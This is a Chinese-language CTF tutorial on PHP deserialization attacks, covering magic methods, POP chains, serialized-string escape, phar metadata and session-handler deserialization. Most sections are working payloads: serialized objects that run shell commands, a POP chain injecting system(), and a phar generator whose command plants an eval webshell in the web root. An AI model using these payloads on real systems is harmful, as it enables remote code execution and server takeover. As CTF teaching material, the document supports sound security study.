PHP反序列化&SESSION反序列化

PHP反序列化基本概念

php序列化就是将一个对象,进行变换成一个字符串,这个字符串就是一个个键值对,方便传输数据,那反序列化,就是把它翻过来,从一个个键值对再转换成一个对象。

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class test{
public $name='ooo';
public $age=18;
}
$t=new test();
echo serialize($t);
?>

输出:
O:4:"test":2:{s:4:"name";s:3:"ooo";s:3:"age";i:18;}

解释:
O:4:"test":2;:表示这是一个对象(Object),类名是test,类名长度为4,包含2个属性。
s:4:"name";s:3:"ooo";:第一个属性是字符串类型(String),属性名为name,长度为4,对应的值为字符串ooo,长度为3
s:3:"age";i:18;:第二个属性也是字符串类型(String),属性名为age,长度为3,对应的值为整数(Integer)18
综上所述,这段代码表示一个类名为test的对象,它有两个属性:name(值为"ooo")和age(值为18)。

PHP反序列化的几个必知魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__construct(),类的构造函数,在创造一个对象时候,首先会去执行的一个方法。但是在序列化和反序列化过程是不会触发的。

__destruct(),类的析构函数,在到某个对象的所有引用都被删除或者当对象被显式销毁时执行的魔术方法。

__call(),在对象中调用一个不可访问方法时,__call() 会被调用。也就是说你调用了一个对象中不存在的方法,就会触发。

__callStatic(),在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。

__get(),读取不可访问属性的值时,__get() 会被调用。__get魔术方法需要一个参数,这个参数代表着访问不存在的属性值。

__set(),给不可访问属性赋值时,__set() 会被调用。

__isset(),当对不可访问属性调用isset()或empty()时调用,该魔术方法使用了isset()或者empty()只要属性是private或者不存在的都会触发。

__unset(),当对不可访问属性调用unset()时被调用。如果一个类定义了魔术方法 __unset() ,那么我们就可以使用 unset() 函数来销毁类的私有的属性,或在销毁一个不存在的属性时得到通知。

__sleep(),执行serialize()时,先会调用这个函数

__wakeup(),执行unserialize()时,先会调用这个函数

__toString(),类被当成字符串时的回应方法

__invoke(),调用函数的方式调用一个对象时的回应方法

__set_state(),调用var_export()导出类时,此静态方法会被调用。

__clone(),当使用 clone 关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法 __clone() ,如果该魔术方法存在的话。

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

小试牛刀—–[NewStarCTF 2023 公开赛道]Unserialize?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
private $cmd;

public function __destruct()
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
@system($this->cmd);
}
}
}

@unserialize($_POST['unser']);
?>

payload:
POST:unser=O:4:"evil":1:{s:3:"cmd";s:35:"sort /th1s_1s_fffflllll4444aaaggggg";}

PHP的POP链

按我自己的理解,PHP的pop链就是通过改变对象的属性,改变对象的元素的属性,去触发相应的魔术方法,来进行一个链式反应,以此来达到我们的目的。

示例(触发tostring方法,进行链式反应)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class a{
public $x;
public $y;
public function __destruct(){
echo $this->x;
}
}
class b{
public $o;
public function __tostring(){
echo "111";
return "flag{this_is_flag}";
}
}

$a1 = new a();
$b1 = new b();
$a1->x=new b();
$s=serialize($a1);
?>

D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe -c D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini D:\PhpstormProjects\untitled1\payload.php

111flag{this_is_flag}
Process finished with exit code 0
//这就是一个简单的链式反应

小试牛刀—–[MRCTF2020]Ezpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
 <?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}


paylod:
$s=new Show(); //创建show对象
$s->source=new Show(); //将source属性赋为一个新的show对象,触发tostring函数
$s->source->str=new Test(); //给$a->source->str创建test对象,则$a->source->str->source属性不存在,执行__get函数
$s->source->str->p=new Modifier();//将Modifier对象赋给p属性,一个链子就此完成。
echo urlencode(serialize($s));

[2022DASCTF X SU 三月春季挑战赛]ezpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php

class crow
{
public $v1;
public $v2;

function eval() {
echo new $this->v1($this->v2);
}

public function __invoke()
{
$this->v1->world();
}
}

class fin
{
public $f1;

public function __destruct()
{
echo $this->f1 . '114514';
}

public function run()
{
($this->f1)();
}

public function __call($a, $b)
{
echo $this->f1->get_flag();
}

}

class what
{
public $a;

public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;

public function run()
{
($this->m1)();
}

public function get_flag()
{
eval('#' . $this->m1);
}

}
$a=new fin();
$a->f1=new what();
$a->f1->a=new mix();
$a->f1->a->m1=new crow();
$a->f1->a->m1->v1=new fin();
$a->f1->a->m1->v1->f1=new mix();
$a->f1->a->m1->v1->f1->m1='?><?php system("cat *")?>';//这题太狗了,把flag放在注释里,还得cat *才能看到。
echo serialize($a);

PHP的字符串逃逸

字符串逃逸就是通过改变字符串的长度来改变键值对,让键值对改变成我们想要的样子,这个就跟php的特性有关了

PHP的特性

1、序列化后,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),所以}在后面的是没有任何影响的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class s{
public $a;
public $b;
function __construct($a,$b){
$this->a = $a;
$this->b = $b;
}
}
$a =new s("a","b");
echo serialize($a);
?>
D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe -c D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini D:\PhpstormProjects\untitled1\payload.php
O:1:"s":2:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";}
Process finished with exit code 0
此时,如果变成O:1:"s":2:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";}54656156135
var_dump(unserialize('O:1:"s":2:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";}54656156135'));
{
["a"]=>
string(1) "a"
["b"]=>
string(1) "b"
}
丝毫没有影响正常的反序列化

2、当序列化的长度不对应的时候会出现报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class s{
public $a;
public $b;
function __construct($a,$b){
$this->a = $a;
$this->b = $b;
}
}
$a =new s("a","b");
echo serialize($a);
var_dump(unserialize('O:1:"s":2:{s:1:"a";s:2:"a";s:1:"b";s:1:"b";}54656156135'));
?>

D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe -c D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini D:\PhpstormProjects\untitled1\payload.php
O:1:"s":2:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";}bool(false)

Process finished with exit code 0
可以看到,返回false,就是无法正常反序列化

3、可以反序列化类中不存在的元素

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class s{
public $a;
public $b;
function __construct($a,$b){
$this->a = $a;
$this->b = $b;
}
}
$a =new s("a","b");
echo serialize($a);
var_dump(unserialize('O:1:"s":2:{s:1:"a";s:1:"a";s:1:"c";s:1:"c";}'));
?>

D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe -c D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini D:\PhpstormProjects\untitled1\payload.php
O:1:"s":2:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";}object(s)#2 (3) {
["a"]=>
string(1) "a"
["b"]=>
NULL
["c"]=>
string(1) "c"
}
看到类里面并没有c,但是能正常反序列化

PHP字符串逃逸

字符串逃逸一般有两种情况,一种是字符串增多,一种是字符串减少

字符串逃逸的本质也是差不多就是闭合,有一种注入的感觉

增多的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
function waf($str){
return str_replace("bad","good",$str);
}
class s{
public $a;
public $b='666';
public function __construct($a){
$this->a = $a;
}
public function __destruct(){
echo $this->b;
}
}
$a =new s("bad");
echo serialize($a);
//echo waf(serialize($a));
?>
//O:1:"s":2:{s:1:"a";s:3:"bad";s:1:"b";s:3:"666";}这是没有经过替换的
//O:1:"s":2:{s:1:"a";s:3:"good";s:1:"b";s:3:"666";}这是经过替换掉的
明显每替换一个,字符串长度就会+1,那我们现在不像让b为666,想让它是888,但是b是不可控的,怎么办,那就是字符串逃逸了,我们看一下逃逸字符串的长度";s:1:"b";s:3:"888";},21个,长度为21.
那就是21个bad就能让";s:1:"b";s:3:"666";}逃逸,即
<?php
function waf($str){
return str_replace("bad","good",$str);
}
class s{
public $a;
public $b='666';
public function __construct($a){
$this->a = $a;
}
public function __destruct(){
echo $this->b;
}
}
$a =new s('badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:1:"b";s:3:"888";}');
//echo serialize($a);
echo (waf(serialize($a)));
var_dump(unserialize('O:1:"s":2:{s:1:"a";s:84:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:1:"b";s:3:"888";}";s:1:"b";s:3:"666";}'));
//for($i=0;$i<21;$i++){
// echo 'bad';
//}
?>
运行结果:
D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe -c D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini D:\PhpstormProjects\untitled1\payload.php
O:1:"s":2:{s:1:"a";s:84:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:1:"b";s:3:"888";}";s:1:"b";s:3:"666";}object(s)#2 (2) {
["a"]=>
string(84) "goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood"
["b"]=>
string(3) "888"
}
888666
可以看到,成功替换。

减少的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
function waf($str){
return str_replace("good","hao",$str);
}
class s{
public $a;
public $b;
public function __construct($a,$b){
$this->a = $a;
$this->b = $b;
}
public function __destruct(){
echo $this->b;
}
}
//这个是每替换一个就会减少一个字符,那就意味着我们需要让前面的吞掉后面的,再通过修改$b来实现我们的目的,让前面吞掉";s:1:"b";s:21:,来实现我们的目的,这个原理与增加相似,反过来就行。
$a =new s('goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood','";s:1:"b";s:3:"888";}');
//echo serialize($a);
//echo (waf(serialize($a)));
var_dump(unserialize('O:1:"s":2:{s:1:"a";s:64:"haohaohaohaohaohaohaohaohaohaohaohaohaohaohaohao";s:1:"b";s:21:"";s:1:"b";s:3:"888";}";}";s:1:"b";s:3:"888";}'));
//for($i=0;$i<17;$i++){
// echo 'good';
//}
?>
运行结果:
D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe -c D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini D:\PhpstormProjects\untitled1\payload.php
object(s)#2 (2) {
["a"]=>
string(64) "haohaohaohaohaohaohaohaohaohaohaohaohaohaohaohao";s:1:"b";s:21:""
["b"]=>
string(3) "888"
}
888";s:1:"b";s:3:"888";}
Process finished with exit code 0
成功替换。

示例

小试牛刀—–[NewStarCTF 2023 公开赛道]逃(增)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 <?php
highlight_file(__FILE__);s
function waf($str){
return str_replace("bad","good",$str);
}

class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}

unserialize(waf(serialize(new GetFlag($_GET['key']))));

可以看到,每将一个bad替换成一个good,字符串长度+1,key是可控的
O:7:"GetFlag":2:{s:3:"key";s:3:"bad";s:3:"cmd";s:6:"whoami";}这是传入一个bad的序列化的内容,现在我们不想执行whoami这个命令,就要把;s:3:"cmd";s:6:"whoami";}给顶出去。
目的字符串:O:7:"GetFlag":2:{s:3:"key";s:3:"bad";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";}
";s:3:"cmd";s:2:"ls";}有22个字符,然后把22个bad替换掉后,就是增加了22个字符,那么ls就可以执行
当前目录下没有,直接查根目录,原理一样
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}

phar反序列化

什么是phar文件

phar文件就是类似于java的jar的那种类型的压缩文件,它可以将多个php文件的代码压缩成一个phar,无需解压,PHP就可以进行访问并执行内部语句。

phar文件结构

1
2
3
4
5
1. stub //phar文件头
phar文件的标志,也可以理解为phar的文件头
这个Stub其实就是一个简单的PHP文件,必须是 xxx<?php xxx; __HALT_COMPILER();?> 这种格式,必须有__HALT_COMPILER(),没有这个,PHP就无法识别出它是Phar文件。其他的无所谓。
2. manifest //压缩文件的信息
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这个meta-data就是用户自己定义的元数据,在这里用户自定义的元数据就是以序列化的形式存在的,这是漏洞利用最核心的地方。如下图。

image-20240716105756715

1
2
3
4
3. content //压缩文件的内容
被压缩文件的内容
4. signature (可空) //签名
签名,放在末尾。

phar反序列化

Phar之所以能反序列化,是因为Phar文件会以序列化的形式存储用户自定义的meta-data,PHP使用phar_parse_metadata在解析meta数据时,会调用php_var_unserialize进行反序列化操作。

利用条件

1
2
3
1、phar文件能够上传至服务器
2、要有可控的参数,像元数据那种,并且、/、phar等特殊字符没有被过滤
3、php.ini中的phar.readonly选项,需要为Off(默认是on)。

生成phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
class Flag{
public $cmd="qwq";
function __destruct()
{
echo `cmd`;
}
}

$a = new Flag(); //创建一个flag的对象
$phar = new Phar('A.phar'); //创建一个phar对象,这一行代码创建了一个新的 Phar 对象。Phar 是 PHP 中用于创建和操作 PHP 归档文件(PHAR 文件)的一个类。
//功能:new Phar("phar.phar") 文件名后缀必须是phar
//参数:"phar.phar" 是正在创建或打开的 PHAR 文件的名称。如果该文件不存在,则会创建一个新的文件。
$phar->startBuffering(); //开启缓存,在 Phar 对象上调用 startBuffering() 方法可以确保所有的更改在实际写入文件之前都会先被缓冲。这意味着在 stopBuffering() 之前的所有操作都不会立即生效,而是暂时存储在内存中。
$phar->addFromString('test.txt','test'); //向 PHAR 文件中添加一个新的文件。addFromString 方法用于从字符串内容创建一个文件并将其添加到 PHAR 文件中。"test.txt" 是文件名,"test" 是文件内容。这一行代码并不是必须的。它的作用是向 PHAR 文件中添加一个名为 test.txt 的文件,并将其内容设置为 "test"。如果你不需要向 PHAR 文件中添加任何文件,这一行代码可以省略。
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //这一行代码设置了 PHAR 文件的存根(stub)。setStub 方法用于定义 PHAR 文件的入口代码。"<?php __HALT_COMPILER(); ?>" 是一个 PHP 指令,表示停止编译器。此代码在 PHAR 文件执行时首先运行。有时候会有文件头检测,如果有文件头检测可以加上文件头
$phar->setMetadata($a);//设置元数据,setMetadata 方法用于给 PHAR 文件添加元数据。这里将 TestObject 对象 $a 作为元数据添加到 PHAR 文件中。
//自动计算签名
$phar->stopBuffering(); //这一行代码停止缓冲操作并将所有缓冲的更改写入 PHAR 文件。stopBuffering 方法会将之前缓冲的所有更改实际写入到 PHAR 文件中,使更改生效。

不过如果php.ini的phar.readonly处于on状态的话,是不允许生成phar文件的,cmd执行php –ini,就可以找到这个php.ini的文件路径,将php.ini里面的phar.readonly选项设置为Off并把分号去掉。

示例

小试牛刀—–[NewStarCTF 2023 公开赛道]PharOne

img

查看源码,得到提示,/class.php

img

访问看到

1
2
3
4
5
6
7
8
9
10
 <?php
highlight_file(__FILE__);
class Flag{
public $cmd;
public function __destruct()
{
@exec($this->cmd);
}
}
@unlink($_POST['file']);

那我们就联想到了,上传phar文件,phar协议输出,进行反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Flag{
public $cmd;
public function __construct() {
$this->cmd = "echo '<?=eval(\$_GET[1]);?>'>/var/www/html/1.php";
}

}

$a = new Flag(); //创建一个flag的对象
$phar = new Phar('A.phar'); //创建一个phar对象,这一行代码创建了一个新的 Phar 对象。Phar 是 PHP 中用于创建和操作 PHP 归档文件(PHAR 文件)的一个类。
//功能:new Phar("phar.phar") 文件名后缀必须是phar
//参数:"phar.phar" 是正在创建或打开的 PHAR 文件的名称。如果该文件不存在,则会创建一个新的文件。
$phar->startBuffering(); //开启缓存,在 Phar 对象上调用 startBuffering() 方法可以确保所有的更改在实际写入文件之前都会先被缓冲。这意味着在 stopBuffering() 之前的所有操作都不会立即生效,而是暂时存储在内存中。
$phar->addFromString('test.txt','test'); //向 PHAR 文件中添加一个新的文件。addFromString 方法用于从字符串内容创建一个文件并将其添加到 PHAR 文件中。"test.txt" 是文件名,"test" 是文件内容。这一行代码并不是必须的。它的作用是向 PHAR 文件中添加一个名为 test.txt 的文件,并将其内容设置为 "test"。如果你不需要向 PHAR 文件中添加任何文件,这一行代码可以省略。
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //这一行代码设置了 PHAR 文件的存根(stub)。setStub 方法用于定义 PHAR 文件的入口代码。"<?php __HALT_COMPILER(); ?>" 是一个 PHP 指令,表示停止编译器。此代码在 PHAR 文件执行时首先运行。有时候会有文件头检测,如果有文件头检测可以加上文件头
$phar->setMetadata($a);//设置元数据,setMetadata 方法用于给 PHAR 文件添加元数据。这里将 TestObject 对象 $a 作为元数据添加到 PHAR 文件中。
//自动计算签名
$phar->stopBuffering(); //这一行代码停止缓冲操作并将所有缓冲的更改写入 PHAR 文件。stopBuffering 方法会将之前缓冲的所有更改实际写入到 PHAR 文件中,使更改生效。
?>

对__HALT_COMPILER()有过滤,所以通过gzip命令绕过,因为只能上传图片,所以修改后缀为.png

上传aa.png

在class.php下phar读取,进行反序列化

1
file=phar:///var/www/html/upload/321532365639f31b3b9f8ea8be0c6be2.png 

访问/1.php,GET传参执行命令

img

SESSION的概念

Session一般称为“会话控制“,简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了 session 会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种“对话”机制。因为HTTP协议是无状态的,那如何辨别“你是你”呢,那就用到了session,通过cookie中的session来进行用户追踪。

SESSION的工作原理

当我们开启一个session会话时,首先php会先查找session_id,如果在请求的cookie中,服务器没有在GET或者POST请求方式中找到session_id,那么这个时候php就会调用php_session_create_id函数来创建一个新的会话,在http-response中通过set-cookie头部发送给客户端,session在客户端保存。

session_start()函数

上面说了session的创建,那么下面我们就要说一下session的创建过程,我们先来看一下session_statrt()这个函数,这个函数的作用是开启会话,初始化session数据

1
Seesion_start()函数会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的

img

SESSION的存储机制

写一个测试代码:

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
session_start();
echo "session_id(): ".session_id()."<br>";
echo "COOKIE: ".$_COOKIE["PHPSESSID"];

img

可以看到生成了一个session

我们查看一下文件夹,一般都在是存储在tmp/里面

1
2
3
4
5
6
/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED
liunx常见保存位置

img

最后一个就是我们刚创建的session了

我们给session赋值看看

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
session_start();
$_SESSION['test1']='hello';
$_SESSION['test2']='world';
echo '\n';
echo "session_id(): " . session_id() . "<br>";
echo "COOKIE: " . $_COOKIE["PHPSESSID"];

img

可以看到数据是以序列化的状态存储在文件中的

那就是HTTP请求一个页面后,如果用到开启session,会去读COOKIE中的PHPSESSID是否有,如果没有,则会新生成一个session_id,先存入COOKIE中的PHPSESSID中,再生成一个sess_前缀文件。当有写入$_SESSION的时候,就会往sess_文件里序列化写入数据。当读取到session变量的时候,先会读取COOKIE中的PHPSESSID,获得session_id,然后再去找这个sess_session_id文件,来获取对应的数据。由于默认的PHPSESSID是临时的会话,在浏览器关闭后就会消失,所以,当我们打开浏览器重新访问的时候,就会新生成session_id和sess_session_id这个文件。

SESSION模块的参数含义

Directive 含义
session.save_handler session保存形式。默认为files
session.save_path session保存路径。
session.serialize_handler session序列化存储所用处理器。默认为php。
session.upload_progress.cleanup 一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled 将上传文件的进度信息存在session中。默认开启。

主要有三种处理器

session.serialize_handler=php 时,session文件内容为: name|s:7:"mochazz";

session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:7:"mochazz";}

session.serialize_handler=php_binary 时,session文件内容为: 二进制字符names:7:"mochazz";

可以用ini_set来改变处理器

1
2
3
4
5
6
7
<?php
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['name'] = $_GET['name'];
echo $_SESSION['name'];
?>

session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefixsession.upload_progress.name连接在一起的值。

SESSION的反序列化

img

这也就是SESSION反序列化的切入点了,我们可以直接通过写入SESSION文件,然后请求页面,让php自行将我们的序列化字符串进行反序列化,但是因为我们传入的是键值对,那么session序列化存储所用的处理器肯定也是将这个键值对写了进去,怎么才能让它正好反序列化到我们传入的内容。

这里就要用到我们上面介绍到的不同序列化处理器的特性,我们可以在我们传入的序列化内容前面加一个|,在php_serialize处理后会返回一个序列化后的数组,但是在使用php处理器会以竖线|作为一个分隔符,前面的为键名,后面的为键值,然后将键值进行反序列化操作,这样就能够实现我们session反序列化操作。

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php');

class Test{
public $code;
function __destruct(){
eval($this->code);
}
}

session_start();
if (isset($_GET['test'])) {
$_SESSION['test'] = $_GET['test'];
}
?>
?test=|O:4:"Test":1:{s:4:"code";s:10:"phpinfo();";}

小试牛刀—-[安洵杯 2019]easy_serialize_php(session反序列化+减逃逸)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

img

传入phpinfo看一下

可以看到,反序列化处理器是php,文件提示,d0g3_f1ag.php

那么看代码可以知道,我们的目的是执行file_get_contents(base64_decode($userinfo['img']))这个函数,并且一看就知道还是字符串减少的字符串逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
看代码,需要满足f=show_image,让字符串逃逸
原始字符串为
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
$_SESSION['img'] = base64_encode('guest_img.png');
序列化一下看看
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'show_image';
$_SESSION['img'] = base64_encode('guest_img.png');
echo serialize($_SESSION);
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
现在要把img给弄成ZDBnM19mMWFnLnBocA==(d0g3_flag.php的base64编码)
从user下手,把guest";s:8:"function";s:10:"show_image给吞掉,然后自己再造个键值对

<?php
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['dd'] = base64_encode('d0g3_f1ag.php');
echo serialize($_SESSION);
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:79:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:20:"ZDBnM19mMWFnLnBocA==";}";s:2:"dd";s:20:"ZDBnM19mMWFnLnBocA==";}

参考文章:

带你走进PHP session反序列化漏洞

session反序列化

PHP反序列化入门之phar

PHP Phar反序列化学习

Phar反序列化总结

PHP反序列化 — 字符逃逸

通过CTF题目学习反序列化字符串逃逸

干货 | 能看懂的PHP反序列化字符逃逸漏洞

PHP反序列化入门之session反序列化